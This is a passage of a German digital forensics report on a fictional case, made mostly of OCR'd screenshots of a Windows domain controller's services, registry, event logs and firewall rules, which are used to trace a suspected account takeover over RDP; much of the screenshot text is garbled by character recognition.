unbekannte oder verdachtige Anwendungen, welche im Allgemeinen hier nicht
aufzufinden sind (siehe Abbildung 55).
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Processes

1% Task Manager
File

Options  WYiew

Performance

£

Mame

L ADWS

. AJRouter

o ALG

v ApplDSve

o Appinfo

v AppMgmt

o AppReadiness

v AppVClient

v AppESve

v AudicEndpointBuilder
o Audiosre

o AxlnstSY

- BFE

i BITS

< Brokerlnfrastructure
o BTAGService

o BthAwetpSve

o bthsery

o CAMSYE

v CaptureService

o CaptureService_70d31
v chdhswe

rhdhaoee T0A31

Fewer details

Uzers

Details

PID
3772

5852

1496

264

w: Open Services

Services

Description

Active Directory Web Services
Allloyn Router Service
Application Layer Gateway Service
Application ldentity

Application Information
Application Management

App Readiness

Microsoft App-V Client

App¥ Deployment Service (AppXSVC)
Windows Audio Endpoint Builder
Windows Audic

ActiveX Installer (AxInstsV)

Base Filtering Engine

Background Intelligent Transfer Servi..,

Background Tasks Infrastructure Ser...
Bluetooth Audic Gateway Service
AVCTP service

Bluetooth Support Service

Capability Access Manager Service
CaptureService
CaptureService_70d31

Clipboard User Service
Clinhnard | lzer Sendre T0A31

Status

Running
Stopped
Stopped
Stopped
Running
Stopped
Stopped
Stopped
Stopped
Stopped
Stopped
Stopped
Running
Stopped
Running
Stopped
Stopped
Stopped
Stopped
Stopped
Stopped

Stopped
Stonnerd

Group &

LocalServiceM...

LocalServiceM...
netswes
netswes

AppReadiness

wsappx
LocalSysternM...
LocalServiceM...
AxlnstSVGroup
LocalServicelM...
netsves
Deomlaunch
LocalServicel...
LocalService
LocalService
appmodel
LocalService
LocalService

ClipboardSve...
ClinhnardSwr
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Nachweis der Funktionsfahigkeit

]
Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ControhTerminal Server | Edit DWORD (32-bit) Value x|
Server Applica A || Name Type Data Value name:
ServiceAggreg || ag) (Defautt) REG_SZ (value not set) FDenyTSConnections
ServiceGroupC || o lowRemoteRPC REG_DWORD 0x00000001 (1)
ServiceProvide || B Value data Base
e || #iDelayConMgrTimeout REG_DWORD 0x00000000 (0) E— [ —
2 DeleteTempDirsOnExit REG_DWORD 0x00000001 (1) &1 =
SNMP = O Decimal
e 8 fDeny TSConnections REG_DWORD 0x00000000 (0)
24)fSingleSessionPerUser REG_DWORD 0x00000001 (1)
z;zm EEEEEE ~ sSessionld REG_DWORD 000000001 (1) Secel
Stillmage InstancelD REG_SZ 24527082-€874-4¢5¢-9880-3dda0dd
Storage NotificationTimeOut REG_DWORD 0x00000000 (0)
StorageManac || #|PerSessionTempDir REG_DWORD 0x00000001 (1)
StorPort a8 ProductVersion REG_SZ 5.
StSec 5| RCDependentServices REG_MULTI_SZ CertPropSvc SessionEnv
Systeminform || %% RDPVGClnstalled REG_DWORD 0x00000001 (1)
SystemResour #4| SessionDirectoryActive REG_DWORD 0x00000000 (0)
TabletPC 35 SessionDirectoryCLSID REG_SZ {00559¢68-€216-4b27-8f50-b336820b3868}
v TeminalServe || ab)SessionDirectoryExCLSID REG_SZ {ec98d957-48ad-436d-90be-bc29142709¢}
Addlns #3) SessionDirectoryExposeServerlP REG_DWORD 000000001 (1)
ClusterSetti || 355 apshotMonitors REG_SZ 1
Connectiorf|| 22 ctartRCM REG_DWORD 0x00000000 (0)
DefaultUsetf | 22 15UserEnabled REG_DWORD 0x00000000 (0)
KeyboardT;

Abbildung 56: Uberprifung der Registry

Es folgt eine Analyse der Ereignisanzeige auf dem Doméanen-Controller. Dieses
Programm kann unter anderem durch die Tastenkombination [Windows]+[R]
aufgerufen werden. Hierbei 6ffnet sich das Fenster Ausfiihren, in welchem der

Befehl eventvwr.msc eingetragen wird.

Eine handische Untersuchung und Analyse der einzelnen Events und
Informationen zeigt untypisches Verhalten eines Nutzers auf. Der fiktive
Auftraggeber bestétigte, dass keiner der Mitarbeiter an einem Samstag nach
17:00 Uhr beschaftigt werde. Der Timeline entsprechend gehen wir von einem
Incident nach (08.06.2024 17:36 Uhr) aus und filtern die jeweiligen Events auf

diese Zeit.

Ein weiterer Beweis wird unter Application and Service Logs, weiter Directory
Service aufgedeckt (siehe ). Es handelt sich um eine Sicherheitsmeldung tber
einen Login auf den Domanen-Controller um 20:19 Uhr. Ebenso einen Eintrag
unter Windows Logs und System (siehe Abbildung 57) fur die Erstellung einer
Remote- Desktop Verbindung (20:48 Uhr). Ebenfalls fand eine Anderung der
Group Policy Settings statt (20:51 Uhr), die im Folgenden weiter untersucht wird.
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Nachweis der Funktionsfahigkeit

2] Event Viewer
File Action View Help

LI

{3 Event Viewer (Local)
% Custom Views

Directory Service

Number of even

& Windows Logs Level Date and Time Source Event|D Task Category ~
[ Applications and Services Lo| || (i) Information 08.06.2024 20:32:36 ActiveDirectory_DomainService 1869 Global Catalog
f2] Active Directory Web Ser | (i) Information 08.06.2024 20:32:36 NTDS ISAM 701 Online Defragmentation
£ DFS Replication ) Information 08.06.2024 20:34:36 NTDS ISAM 700 Online Defragmentation
[-] Directory Service ) Information 08.06.2024 20:34:35 NTDS ISAM 326 General
[] DN Server ) Infarmation 08.06.2024 20:34:36 NTDS ISAM 105 General
[ Herdware Events ) Information 08.06.2024 20:34:36 NTDS ISAM 102 General
[] Internet Explorer i, Warnin 08.06.2024 20:23:56 ActiveDirectory_DomainService 1220 LDAP Interface
A g 1.
(5] Key Management Service Information 08.06.2024 20:20:06 ActiveDirectory_DomainService 139 Service Control
.
v & Microsoft (i) Information 08.06.2024 20:19:36 ActiveDirectory_DomainService 1000 Service Control
AV A\ Waming 08.06.2024 20:19:36 ActiveDirectory_DomainService 3041 LDAP Interface
v [7] User Experience Virtu
et /A Waming 08.06.2024 20:19:36 ActiveDirectory_DomainService 283 LDAP Interface
- AQE”A "“:' ) Information 08.06.2024 20:19:26 ActiveDirectory_DomainService 2405 Internal Configuration
] en
e ) Information 08.06.2024 20:19:26 ActiveDirectory DomainService 2405 Internal Configuration
& SOM Uploader ) Infarmation 08.06.2024 20:19:26 ActiveDirectory_DomainService 2120 Internal Configuration
Windows ) Information 08.06.2024 20:19:26 ActiveDirectory_DomainService 2172 Internal Configuration
v 1] OgenssH ) Information 08.06.2024 20:19:26 ActiveDirectory_DomainService 2168 Internal Configuration
] Admin ) Information 08.06.2024 20:19:26 ActiveDirectory_DomainService 2406 Internal Configuration
] Operetionel ) Information 08.06.2024 20:19:26 ActiveDirectory_DomainService 2406 Internal Configuration
F2] Windows Powerhel ) Information 08.06.2024 20:19:26 ActiveDirectory_DomainService 2121 Internal Configuration
5 Subscriptions
Warning 08.06.2024 20:19:26 ActiveDirectory_DomainService 3051 Security
(@) Information 08.06.2024 20:19:05 ActiveDirectory_DomainService 1004 Service Control
(@) Information 08.06.2024 20:19:05 ActiveDirectory_DomainService 2179 Internal Configuration
02 N6 2004 200704 #ivaDiract: D, 1220 I DAD Intark: g
Event 3034, ActiveDirectory_DomainService x
General Details
The directory has been configured to allow implicit owner privileges when initially setting or medifying the nTSecurityDescriptor attribute during LDAP add and modify operations. Warning events will be ~
Iogged, but no requests will be blocked.
-
Log Name: Directory Service
Source: ActiveDirectory_DomainServ Logged: 08.06.2024 20:19:26
Event ID: 3034 Task Category: Security
Level: Warning Keywords:  Classic
User ANONYMOUS LOGON Computer:  PDC.forensikprojekt.local
OpCode: Info
More Information: ~ Event Log Online Help
< >

Abbildung 57: Uberpriifung der Windows Ereignisanzeige 1/9

] Event Viewer
File View  Help

LE ] | E

{2 Event Viewer (Local)
3 Custem Views

v [ Windows Logs

=] Application

] Security

] Setup

=] System

[E] Forwarded Events
~ [ Applications and Services Lo
(5] Active Directory Web Ser|
{&] DFS Replication
{&] Directory Service
[ DNS Server
[ Hardware Events
(=] Intemet Explorer
{&] Key Management Service
= Micrasoft
5 AppV
71 User Experience Virtu

~ Agent Driver

Action

™M

= App Agent
7 ipc
= 5QM Uploader
7 Windows
~ OpenssH
& Admin
=] Operational
[ Windows Powershell
4 Subscriptions

< >

Creates a filter.

System  Number of events:
Level Date and Time Source EventID  Task Category A
)Information 08.06.2024 20:51:08 Service Control Manager 7036 None
)Information 08.06.2024 2 Winlogen 001 (1101)
) Information 08.06.2024 2 Service Control Manager 7036 None
)Information 08.06.2024 20:51:07 UserPp 20001 (7005)
)Information 08.06.2024 20:51:07 Service Control Manager 7036 None
)Information 08.06.2024 20:50:43 Service Control Manager 7036 None
)Information 08.06.2024 20:50:13 Service Control Manager 7036 None
)Information Service Control Manager 7036 None
)Information Service Control Manager 036 None
)Information Service Control Manager 7036 None
)Information 08.06.2024 20:40:34 Service Control Manager 7036 None
)Information 08.06.2024 20:40:04 Service Control Manager 7036 None
)Information 08.06.2024 20:48:34 Service Control Manager 7035 None
)Information 08.06.2024 20:48:04 Service Control Manager 703 None
)Information 08.06.2024 20: Service Control Manager 7036 None
JInformation 08.06.2024 2 Service Control Manager 7036 None
)Information 08.06.2024 2 Service Control Manager 7036 None
) Information 08.06.2024 20:48:03 Service Control Manager 7036 None
) Information 08.06.2024 20:48:04 TerminalServices-RemoteConnecti.. 1056 None
)Information 08.06.2024 20:47:34 Service Control Manager 7036 None
)Information 08.06.2024 20:47:04 Service Control Manager 7036 None
)Information 08.06.2024 20:46: Service Control Manager 7036 None
)Information 08.06.2024 20:46:34 Service Control Manager 7036 None
02 N& A A-ABNA tral B N26 M, hd
Event 1056, es-RemoteC: x
General Details

| new self signed certificate to be used for RD Session Host Server authentication on SSL connections was

lthe event data)

Log Name:
Source:
Event ID:
Level:

User:
OpCode:

More Information:

System
TerminalServices-RemoteCe Logged:

1036

Information Keywords:
N/A Computer:
Info

Event Log Online Help

108.06.2024 20:48:04
Task Category:  None
Classic

PDCforensikprojekt.local

generated. The name on this certificate is PDC.forensik.projekt.local. The SHAT hash of the certificate is in

Abbildung 58: Uberpriifung der Windows Ereignisanzeige 2/9
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Nachweis der Funktionsfahigkeit

{2 Event Viewer
File Action View Help
== 2]

[ Event Viewer (Local) Numb
3 Custom Views

~ [ Windows Logs el ource
] Application () Information Service Contrel Manager
] Security () Information Service Contrel Manager
E Setup
[=] System (i) Information Service Contrel Manager
] Forwarded Events (@) Information Winlegon (1101
v [ Applications and Services Lo| | (7) Information Service Control Manager None
(& Active Directory Web Ser | (7) information UserPnp (7005)
=] DFS Replication (@) Information Service Control Manager None
[ Directory Service (@ Information Service Control Manager None
[£] DS Server (@ Information Service Control Manager None
& Hardware Events b4
: (D Information Service Contral Manager None
{z] Intemet Explorer D
(D Information Service Contral Manager None
& Key Management Service| | =
« [ Microsoft (D information Service Contral Manager None
N (@D Information Service Control Manager None
AppV 9
« [ User Bxperience Virty) | @ Information Service Contral Manager None
Agent Driver (D information Service Contral Manager None
(i) Information Service Contral Manager None
| App Agent g
4 Ipc (@ iInformation Service Control Manager None
~| SQM Uploader (i) Information Service Control Manager None
1 Windows. (@) Information Service Contrel Manager None
~ [ OpenSSH (1) Information Service Control Manager None
& Admin (i) Information TerminalServices-RemoteConnecti None
=] Operational (i) Information Service Control Manager None
=] Windows PowerShell i) bral bt 028 nL hd
=3 Subscriptions Event 1501, GroupPelicy (Micresoft-Windows-GreupPolicy) x

General | Details

The Group Policy settings for the user were processed successfully. There were no changes detected since the last successful processing of Group Policy.

Log Name: System
Source: GroupPolicy (Microsoft-Win Logged: 08:06.2024 20:51:08

Event ID: 1501 Task Category: Mone

Level: Information Keywords:

User: FORENSIK\christian.meier Computer. PDC forensik.projekt.local
OpCode: m

More Information:  Event Log Online Help.

< >

Creates a filter.

Abbildung 59: Uberpriifung der Windows Ereignisanzeige 3/9

Eine weitere hilfreiche Informationen findet man um 20:51 Uhr, in welcher der
Nutzer christian.meier, einer der IT-Admins erwahnt wird (siehe Abbildung 59)
Dieser rutscht im Folgenden in den Fokus, da dieser sich zum Zeitpunkt des

Vorfalls im Urlaub befand.
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Nachweis der Funktionsfahigkeit

Windows_AD

& Event Viewer
File Action View Help

«<| 2E HE

{2 Event Viewer (Local)
5 Custom Views
v [ Windows Logs
[ Application
& Security
B setup
[#] System
[5] Forwarded Events
~ [ Applications and Services Lo
[& Active Directory Web Ser|
[&] DFS Replication
[] Directory Service
(] DNS Server
[£] Hardware Events
[&] Internet Explorer
[& Key Management Service|
v [ Microsoft
5 Appv
~ [ User Experience Virtu|
7| Agent Driver
7| App Agent
= e
= 5QM Uploader
7 Windows
~ [Z] OpenSSH
& Admin
£ Operational
[ Windaws Powerhell
7} Subscriptions

System  Number of events:

< >

Creates  filter,

Level Date and Time Source EventID Task Category A
(@) Information 08.06.2024 20:53:32 Service Control Manager 7036 None
(D Infarmation 08.06.2024 20:53:02 Service Control Manager 7036 None
(D Information 08.06.2024 20:52:48 Service Control Manager 7036 None
(@ Information 08.06.2024 20:52:32 Service Control Manager 7036 None
(@) Information 08.06.2024 20:52:02 Service Control Manager 7036 None
(@) Information 08.06.2024 20:51:15 Kernel-General 16 None
(@) Information 08.06.2024 20:51:15 Kernel-General 16 None
(@) Information 08.06.2024 20:51:15 Service Control Manager 7036 None
(@) Information 08.06.2024 20:51:15 Kernel-General 16 None
(@ Information 08.06.2024 20:51:13 Kernel-General 16 None

Information 08.06.2024 20:51 Kermel-General 16 None
(@ Information 08.06.2024 20:51:11 Service Control Manager 7036 Nene
(@) Information 08.06.2024 20:51:10 Service Control Manager 7036 Nene
(@) Information 08.06.2024 20:51:10 Service Control Manager 7035 None
(@) Information 08.06.2024 20:51:09 Service Control Manager 703 None
(@) Information 08.06.2024 20:51:08 Service Control Manager 7036 None
(D Infarmation 08.06.2024 20:51:08 Service Control Manager 7036 None
(@) information 08.06.2024 20:51:08 GroupPolicy (Microsoft-Windows-... 1501 None
(@ Information 08.06.2024 20:51:08 Service Control Manager 7036 None
(@) Information 08.06.2024 20:51:08 Winlogon 001 (1101)
(@) Information 08.06.2024 20:51:07 Service Control Manager 7036 None
() Information 08.06.2024 20:51:07 UserPnp 20001 (7005
(@) Information 08.06.2024 20:51:07 Service Control Manager 7036 None
G 08 N6 2024 0504 tenl M. 36 Ml ha
Event 16, Kernel-General x

General | Details
The access history in hive \?2\C:\Users\christian.meier\ AppData\Local\ Packages\Microsoft Wi Host_cwsn b dat was cleared updating 3 keys and creating 1

modified pages.

Log Name: System
Source: Kernel-General
Event ID: 16

Level: Information
User: SYSTEM
OpCode: Info

More Information: ~ Event Log Online Help.

Logged:

08.06.2024 20:51:13

Task Category: None

Keywords:
Computer:

PDC forensik projekt.local

Abbildung 60: Uberpriifung der Windows Ereignisanzeige 4/9

Im Reiter Security lasst sich eine Vielzahl von Zugriffen tber den Account

feststellen.
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(siehe

Abbildung
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Nachweis der Funktionsfahigkeit

1 Event Viewer
File Action View Help

= 2F HE

[ Event Viewer (Local)
5 Custom Views
v [ Windows Logs
& Application
5] Security
] Setup
=] System
{5 Forwarded Events
~ [ Applications and Services Lo
{5 Active Directory Web Ser|
{&] DFS Replication
{&] Directory Service
] DN Server
[] Hardware Events
& Internet Explorer
] Key Management Service|
v [ Microsoft
— AppV
v [ User Experience Virtuj
= Agent Driver
1 App Agent
7 ipc
= sQM Uploader
= Windows
~ [ OpensSsH
& Admin
5] Operational
2] Windows PowerShell
=} Subscriptions

Keywords Date and Time Source EventID Task Category

@ Audit Suceess 08.06.2024 21:24:29 Microsoft Windows security auditing. 2634 Logoff

@, Audit Suceess Microsoft Windows security auditing. 4624 Logon

@, Audit Suceess Microsoft Windows security auditing. 4672 Special Logen

@, Audit Suceess Microsoft Windows security auditing. 4624 Logon

@, Audit Suceess Microsoft Windows security auditing. 4672 Special Logen

@, Audit Suceess Microsoft Windows security auditing. 4624 Logon

@, Audit Suceess Microsoft Windows security auditing. 4672 Special Logen

@, Audit Suceess Microsoft Windows security auditing. 4634 Logoff

@, Audit Success : Microsoft Windows security auditing. 2624 Logon

@, Audit Success 08.06.2024 21:23:54 Microsoft Windows security auditing. 2672 Special Logen

@, Audit Success 08.06.2024 21:23:09 Wicrosoft Windows security auditing. 2634 Logoff

@, Audit Success 08.06.2024 21:22:54 Wicrosoft Windows security auditing. 2634 Logoff

@, Audit Success 08.06.2024 21:22:54 Wicrosoft Windows security auditing. 2624 Logon

@ Audit Success 08.06.2024 21:22:54 Microsoft Windows security auditing 2672 Special Logon

@ Audit Success 08.06.2024 21:21:59 Microsoft Windows security auditing 2634 Logoff

@ Audit Success 08.06.2024 21:21:54 Microsoft Windows security auditing 2634 Logoff

@ Audit Success 08.06.2024 21:21:54 Microsoft Windows security auditing 2624 Logon

@ Audit Success 08.06.2024 21:21:54 Microsoft Windows security auditing 2672 Special Logon

@ Audit Success 08.06.2024 21:21:15 Microsoft Windows security auditing 4672 Special Logon

@ Audit Success 08.06.2024 21:21:15 Microsoft Windows security auditing 2624 Logon

@, Audit Success 08.06.2024 21:20:54 Microsoft Windows security auditing 4634 Logoff

@, Audit Success 08.06.2024 21:20:54 Microsoft Windows security auditing 4624 Logon

@, Audit Success 08.06.2024 21:20:54 Microsoft Windows security auditing 4672 Special Logon

A 02 06 2004 21200 Mficeacaét UWind — 050 Othee Suctacn Eucact v
x

Event 4672, Microsoft Windows security auditing.

General Details

Special privileges assigned to new logon.

Subject

Log Name:
Source:
Event ID:
Level

User
OpCode:

More Information:

Security

Microsoft Windows security Logged:

4672
Information
N/A

Info

Event Log Online Help

08.06.2024 21:31:54
Task Category: Special Logon

Keywords:
Computer:

Audit Success
PDC forensik projektlocal

Abbildung 61: Uberpriifung der Windows Ereignisanzeige 5/9

Die direkte Ausstellung eines Kerberos Service Tickets (siehe Abbildung 62)

bestérkt die Vermutung eines Account-Diebstahls (21:19 Uhr).

77



Nachweis der Funktionsfahigkeit

& Event Viewer
File Action View Help
=z
{2 Event Viewer (Locall
F Custom Views
+ [ Windows Logs Keywords Date and Time Source EventID Task Category
& Application A, Audit Success 08.06.2024 21:20:01 Microsoft Windows security auditing. 4672 Special Logon
(] security A, Audit Success 08.06.2024 21:20:01 Microsoft Windows security auditing. 4634 Logoff
] Setup A, Audit Success 08.06.2024 21:20:01 Microsoft Windows security auditing. 4624 Logon
& System A, Audit Success 08.06.2024 21:20:01 Microsoft Windows security auditing. 4672 Special Logon
[ Forwarded Events A, Audit Success 08.06.2024 21 Microsoft Windows security auditing. 4634 Logoff
~ [ Applications and Services Lo| | @ audit Success 08.06.2024 21: Microsoft Windows security auditing. 4624 Logon
(5] Active Directory Web Ser| | @ a\qit Success 08.06.2024 21 Microsoft Windows security auditing. 4672 Special Logon
(5] DFS Replication @, Audit Success 08.06.2024 21:19:36 Microsoft Windows security auditing 4634 Logoff
5] Directory Service @, Audit Success 08.06.2024 21:19:35 Microsoft Windows security auditing 4624 Logon
5] DNs Server @, Audit Success 08.06.2024 21:19:35 Microsoft Windows security auditing 4672 Special Logon
& r:’dwe:';“‘e"“ @, Audit Success 08.06.2024 21:19:35 Microsoft Windows security auditing 4769 Kerberos Service Ticket Operations
g ’2 E"C‘ i °'”t S @, Audit Success 08.06.2024 21:19:35 Microsoft Windows security auditing, 4760 Kerberos Senvice Ticket Operations
= anagement Service |[ -
. Me‘{’mﬁg A, Audit Success 08.06.2024 21:19:35 Microsoft Windows security auditing, 4768 Kerberos Authentication Service
s = AV A, Audit Success 08.06.2024 21:19:25 Microsoft Windows security auditing, 4624 Logon
] User Experience Virtu | 2\ Audit Success 08.06.2024 21:19:25 Microsoft Windows security auditing, 4672 Special Logon
= Agent Diiver A, Audit Success 08.06.2024 21:18:54 Microsoft Windows security auditing, 4634 Logoff
| App Agent A, Audit Success 08.06.2024 21:18:54 Microsoft Windows security auditing, 4624 Logon
4 Ipc A, Audit Success 08.06.2024 21:18:54 Microsoft Windows security auditing. 4672 Special Logon
I 5aM Uploader | | € Audiit Success Microsoft Windows security auditing. 4634 Logoff
I Windows @, Audit Success Microsoft Windows security auditing. 4624 Logon
v [ OpenssH A, Audit Success 08.06.2024 21:17:54 Microsoft Windows security auditing. 4672 Special Logon
(& Admin A, Audit Success 08.06.2024 21 Microsoft Windows security auditing. 4634 Logoff
5] Operetional A, Audit Success 08.06.2024 21 Microsoft Windows security auditing. 4624 Logon
[£] Windows PowerShell O Auuckie 2049024 21ARSL Miccncnft Wind, —— 4ETD 1 hd
2 Subscriptions Event 4769, Microsoft Windows security auditing x
General Details
[A Kerberos service ticket was requested ~
|Account Information: v
Log Name: Security
Source: Microsoft Windows security Logged: 08.06.2024 21:19:35
Event ID: 4769 Task Category: Kerberos Service Ticket Operations
Level Information Keywords:  Audit Success
User N/A Computer:  PDCforensik.projektlocal
OpCode: Info
More Information: ~ Event Log Online Help
< >

Abbildung 62: Uberprifung der Windows Ereignisanzeige 6/9

In Application ist der Hinweis auf die Erstellung einer RDP-Verbindung (siehe
Abbildung 63) auf den Windows Domé&nen-Controllers aufzufinden (20:51 Uhr).
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Nachweis der Funktionsfahigkeit

] Event Viewer
File Action View Help
e x5 |

2] Event Viewer (Local)
[ Custom Views

< [ Windows Logs Level Date and Time Source Event I Task Category -
2] Application (@ Information 08.06.2024 20:54:44 Windows Error Reporting 1001 None
[ security (@ Information 08.06.2024 20:54:34 Windows Error Reporting 1001 None
] Setup (@ Information 08.06.2024 20:54:26 Windows Error Reporting 1001 None
& system @ Error 08.06.2024 20:51:32 Security-SPP 8198 Mone
[E Forwarded Events (@ Information 08.06.2024 20:51:32 Security-SPP 1003 None
~ [ Applications and Services Lo || () Information 08.06.2024 20:51:32 Security-SPP 1003 None
(& Active Directory Web Ser | @) Error 08.06.2024 20:51:32 Security-SPP 1014 None
[ pFs REF"”"D_” @Eror 08.06.2024 20:51:32 Security-SPP 8200 Mone
(5] Directory Service ) Information 08.06.2024 20551:11 Security-SPP 8230 None
(=] DNS Server ) Information 08.06.2024 20:51:07 Desktop Window Manager 9027 Nene
5] Hardware Events ) Information 08.06.2024 20:44:12 Sesrch-ProfileNotify 5 MNone
[&] Internet Explorer
. ) Information 08.06.2024 20:36:46 Windows Error Reporting 1001 None
[&] Key Management Service,
= ) Information 08.06.2024 20:36:46 Windows Error Reporting 1001 None
v [ Microsoft
[ App? ) Information 08.06.2024 20:36:46 Windows Error Reporting 1001 Nene
+ 171 User Experience Vitus | (1) Information 08.06.2024 20:36:46 Windows Error Reporting 1001 Nene
[ Agent Driver ) Information Windows Error Reporting 1001 Nene
[ App Agent ) Information Windows Error Reporting 1001 Nene
= ec ) Information Windows Error Reporting 1001 Nene
[ SQM Uploader ) Information 02.06.2024 20:36:36 Windows Error Reporting 1001 Nene
[ Windows ) Information 02.06.2024 20:36:36 Windows Error Reporting 1001 Nene
v [ OpenssH ) Information Windows Error Reporting 1001 Nene
[ Admin ) Information Windows Error Reporting 1001 Nene
{E Operational ) Information Windows Error Reporting 1001 None
[&] Windows PowerShell i 09 05 2024 302111 Win e Ereor Rancd 100 b hd
[ Subscriptions Event 9027, Desktop Window Manager x

[The Desktop Window Manager has registered the session port.

Log Name: Application
Source: Desktop Window Manager ~ Logged: 08.06.2024 20:51:07
Event ID: 9027 Task Category: None

Level Information Keywords:  Classic

User: N/A Computer:  PDC.forensik.projektlocal
OpCode:

More Information:  Event Log Online Help

Abbildung 63: Uberprifung der Windows Ereignisanzeige 7/9

2] Event Viewer
File Action View Help
L 20

] Event Viewer (Local)
v [ Custom Views
v [ ServerRoles

Remote Desktop Services  Number of

¥ MNumber of events: 99

T Active Directory Dom |[ | evel Date and Time Source Event D Task Category ~
g BEEZ server ) Information 08.06.2024 21:34:33 TerminalServices-LocalSessionMan. 40 None
erver ) Information 08.06.2024 21:34:33 TerminalServices-LocalSessionMan 23 None
‘T Remote Desktop Serv
) Information 08.06.2024 21:34:33 TerminalServices-LocalSessionMan 23 None
W Administrative Events
. ) Information 08.06.2024 21:34:32 TerminalServices-LocalSessionMan 54 None
v [ Windows Logs
B Applcation ) Information 08.06.2024 20:51:08 TerminalServices-LocalSessionMan 22 None
] Security ) Informatien 08.06.2024 20:51:08 TerminalServices-LocalSessionMan... 21 None
E Setwn ) Information 08.06.2024 20:51:08 TerminalServices-LocalSessionMan 22 None
] System ) Information 08.06.2024 20:51:08 TerminalServices-RemoteConnecti. 20521 None
] Forwarded Events ) Information TerminalServices-LocalSessionMan 41 None
v [ Applications and Services Lo TerminalSer
f] Active Directory Web Ser| || (i) Information 08.06.2024 20:51:03 TerminalServices-RemoteConnecti. 261 None
] DFs Replication ) Information 08.06.2024 20:48:04 TerminalServices-RemoteConnecti.. 1136 None
[£] Directory Senvice ) Information 08.06.2024 20:48:03 TerminalServices-RemoteConnecti.. 258 None
[] DN Server ) Information 08.06.2024 20:48:03 TerminalServices-RemoteConnecti. 20523 None
[£] Hardware Events ) Information 08.06.2024 20:21:23 TerminalServices-LocalSessionMan 22 None
] Intemet Explorer ) Information 08.06.2024 20:21:22 TerminalServices-LocalSessionMan 21 None
] Key Management Servic || () nformation 08.06.2024 20:21:22 TerminalServices-LocalSessionMan 42 None
v & Microsoft ) Information 08.06.2024 20:21:22 TerminalServices-LocalSessionMan 41 MNone
e :W"B{ i ) Information 08.06.2024 20:19:26 TerminalServices-LocalSessionMan 32 None
. je; pi’;'.“a " @ information 08.06.2024 20:19:04 TerminalServices-LocalSessionMan 54 None
ent Driver
E ASEA“M ) Information 08.06.2024 20:19:04 TerminalServices-LocalSessionMan 23 None
il ) Information 08.06.2024 18:26:.47 TerminalServices-LocalSessionMan... 22 None v
> [ SQM Uploader e ey 149, jcesRemoteConnec x
1 Windows

v [ OpenssH
] Admin
=] Operational
=] Windows PowerShell
[} subscriptions

General Details

Remaote Desktop Services: User authentication succeeded:

User: christian.meier

Log Name: Mici Wind R oy 1
Source: TerminalServices-RemoteCo  Logged: 08.06.2024 20:51:06

Event ID: 1149 Task Category: Mone

Level Information Keywords:

User NETWORK SERVICE Computer:  PDCforensik.projekt.local
OpCode: Info

More Information:  Event Log Online Help

Abbildung
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Am Account des Benutzers (siehe Abbildung 65) christian.meier fand um 20:44
Uhr eine Konfigurationséanderung statt.

] Event Viewer
File Action View Help
e 25 BE
{3 Event Viewer (Local) Application  Number of events: 628
4 Custom Views _——
ot Windows Logs Level Date and Time Source EventID Task Category ~
[ Application (D Information 02.06.2024 20:54:44 Windows Error Reperting 1001 Nene
& Security 08.06.2024 20:54:34 Windows Error Reporting 1001 None
] setup 08.06.2024 20:54:26 Windows Error Reporting 1001 None
] System 08.06.2024 20:51:32 Security-SPP 8198 None
] Forwarded Events 08.06.2024 20:51:32 Security-SPP 1003 None
v [ Applications and Services Lo 08.06.2024 20:51:32 Security-SPP 1003 None
] Active Directory Web Ser| | | 08.06.2024 20:51:32 Security-5PP 1014 MNone
] DFS Replication 08.06.2024 20:51:32 Security-SPP 8200 None
] Directory Service @ 08.06.2024 20:51:11 Security-SPP 8230 None
] DNS Server (@) Information 08.06.2024 20:51:07 Desktop Window Manager 9027 None
_:“:*:'d‘”;';&"e”“ I ——— 08.06.2024 20:44:12 Search-ProfileNotify 5 None
k)| Internet Bxplorer @ 08.06.2024 20:36:46 Windows Error Reporting 1001 None
{&] Key Management Service N
o 13 Midosoft 08.06.2024 20:36:46 Windows Error Reporting 1001 Mone
\ 9 AppV 08.06.2024 20:36:46 Windows Error Reporting 1001 None
1 User Experience Virtu 08.06.2024 20:36:46 Windows Error Reporting 1001 None
) Agent Driver 08.06.2024 20:36:46 Windows Error Reporting 1001 None
7 App Agent 08.06.2024 20:36:46 Windows Error Reporting 1001 None
7 ec 08.06.2024 20:36:46 Windows Error Reporting 1001 None
7 SQM Uploader 08.06.2024 20:36:36 Windows Error Reporting 1001 Mone
| Windows 08.06.2024 20:36:36 Windows Error Reporting 1001 None
w [] OpenssH 08.06.2024 20:31:12 Windows Error Reporting 1001 None
& Admin 08.06.2024 20:31:11 Windows Error Reporting 1001 None
] Operational € 08.06.2024 20:31:11 Windows Error Reporting 1001 None
& Windows PowerShell  ||L/D 09069024 90.21.11 \in desse Eear Rana 1001 o
Subscriptions
| Event 5, Search-ProfileNetify x
General  Details
[Windows Search Service has created default c for new user "FORENSIK\christ
Log Name: Application
Source Search-ProfileNotify Logged: 08.06.2024 20:44:12
Event ID: 5 Task Category: None
Levek Information Keywords:  Classic
User WA Computer:  PDCforensik.projekt.local
OpCode: Info
More Information: Event Log Online Help
< >

Abbildung 65: Uberprifung der Windows Ereignisanzeige 9/9

Neben den Eventlogs werden die Einstellungen der Firewall auf Auffalligkeiten,
wie offene Ports, aktive Verbindungen oder Regeln tberprift, die standardmalig
ausgeschaltet sein sollten. In diesem Fall ergab eine Prifung der Einstellungen
unter Outbound Rules, dass der Nutzer christian.meier ausgehende Anfragen
gesendet hat (siehe Abbildung 66). Dieser besitzt die Rechte im Normalfall nicht.
Ebenso findet man in Inbound Rules- Einstellungen den Nachweis einer RDP-
Verbindungsregel, die standardmafRlig deaktiviert ist (siehe Abbildung 67).
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i Windows Defender Firewal with Advanced Security
File Action View Help
|2 = Bm
Inbound Rules Name Remote Address  Local User Owner Group Profile  Enabled  Action  Ovemide  Program  Local Address  Proi” ||
Outbound Rules
By Connection Security Rules || TPM Vintusl Smart Card Management (T Any Any TPM Virtual Smart Card Ma..  Demain  No Alow  Ne sSystem.. Any P
« B, Monitoring @ Windows Defautt Lock Screen Any FORENSIKichristian. meier Windows Default Lock Screen Al Yes Alow  Ne Any
B Firewall Windows Default Lock Screen Any FORENSIK\Administrator Windows Default Lock Screen Al Yes Rlow  No any ||
B4 Cannection Security Ru]| @ Windows Defender SmartScreen Any FORENSIK\Administrator Windows Defender SmartSc... Al Yes Allow  Ne Any
3 £ Security Associations Windows Defender SmartScreen Any FORENSIKichristian. meier Windows Defender SmartSc... Al Yes Allow  Ne any ||
Windows Device Management Certificat... Any Windows Device Managem... Al Yes Alow  No TP
Windows Device Management Enrollme... Any Windows Device Managem...  All Yes Alow  Ne P
